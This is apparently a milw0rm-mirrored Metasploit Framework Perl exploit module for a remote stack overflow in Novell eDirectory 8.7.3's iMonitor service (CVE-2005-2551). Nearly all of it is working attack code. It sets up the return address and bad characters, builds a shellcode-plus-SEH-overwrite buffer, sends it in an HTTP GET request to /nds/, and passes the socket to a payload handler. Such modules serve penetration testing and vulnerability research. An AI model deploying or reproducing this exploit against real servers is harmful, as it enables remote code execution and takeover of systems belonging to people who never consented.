113 lines
No EOL
3 KiB
Perl
113 lines
No EOL
3 KiB
Perl
##
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# This file is part of the Metasploit Framework and may be redistributed
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# according to the licenses defined in the Authors field below. In the
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# case of an unknown or missing license, this file defaults to the same
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# license as the core Framework (dual GPLv2 and Artistic). The latest
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# version of the Framework can always be obtained from metasploit.com.
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##
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package Msf::Exploit::edirectory_imonitor;
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use strict;
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use base "Msf::Exploit";
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use Pex::Text;
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my $advanced = { };
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my $info =
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{
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'Name' => 'eDirectory 8.7.3 iMonitor Remote Stack Overflow',
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'Version' => '$Revision: 1.2 $',
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'Authors' => [ 'anonymous' ],
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'Arch' => [ 'x86' ],
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'OS' => [ 'win32', 'winnt', 'winxp', 'win2k', 'win2003' ],
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'Priv' => 1,
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'AutoOpts' => { 'EXITFUNC' => 'thread' },
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'UserOpts' =>
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{
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'RHOST' => [1, 'ADDR', 'The target address'],
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'RPORT' => [1, 'PORT', 'The target port', 8008 ],
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'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
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'SSL' => [0, 'BOOL', 'Use SSL'],
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},
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'Payload' =>
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{
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'Space' => 0x1036,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%",
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'Keys' => ['+ws2ord'],
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},
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'Description' => Pex::Text::Freeform(qq{
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This module exploits a stack overflow in eDirectory 8.7.3 iMonitor
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service. This vulnerability was discovered by Peter Winter-Smith of
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NGSSoftware.
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}),
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'Refs' =>
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[
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['OSVDB', '18703'],
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['CVE', '2005-2551'],
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['BID', '14548'],
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],
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'Targets' =>
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[
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[ 'Windows (ALL) - eDirectory 8.7.3 iMonitor', 0x63501f15] # pop/pop/ret
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],
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'Keys' => ['imonitor'],
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};
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sub new {
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my $class = shift;
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my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
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return($self);
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}
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sub Exploit {
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my $self = shift;
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my $target_host = $self->GetVar('RHOST');
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my $target_port = $self->GetVar('RPORT');
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my $target_idx = $self->GetVar('TARGET');
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my $shellcode = $self->GetVar('EncodedPayload')->Payload;
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my $target = $self->Targets->[$target_idx];
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$self->PrintLine( "[*] Attempting to exploit " . $target->[0] );
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my $s = Msf::Socket::Tcp->new(
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'PeerAddr' => $target_host,
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'PeerPort' => $target_port,
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'SSL' => $self->GetVar('SSL'),
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);
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if ( $s->IsError ) {
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$self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
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return;
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}
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# pop/pop/ret in ndsimon.dlm on our jump to our shellcode
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my $req = $shellcode . "\x90\x90\xeb\x04" . pack('V', $target->[1]) . "\xe9\xbd\xef\xff\xff" . ("B" x 0xD0);
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my $request =
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"GET /nds/$req HTTP/1.1\r\n".
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"Accept: */*\r\n".
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"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
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"Host: $target_host:$target_port\r\n".
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"Connection: Close\r\n".
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"\r\n";
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$s->Send($request);
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$self->PrintLine("[*] Overflow request sent, sleeping for four seconds");
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select(undef, undef, undef, 4);
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$self->Handler($s);
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return;
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}
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1;
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# milw0rm.com [2005-08-12] |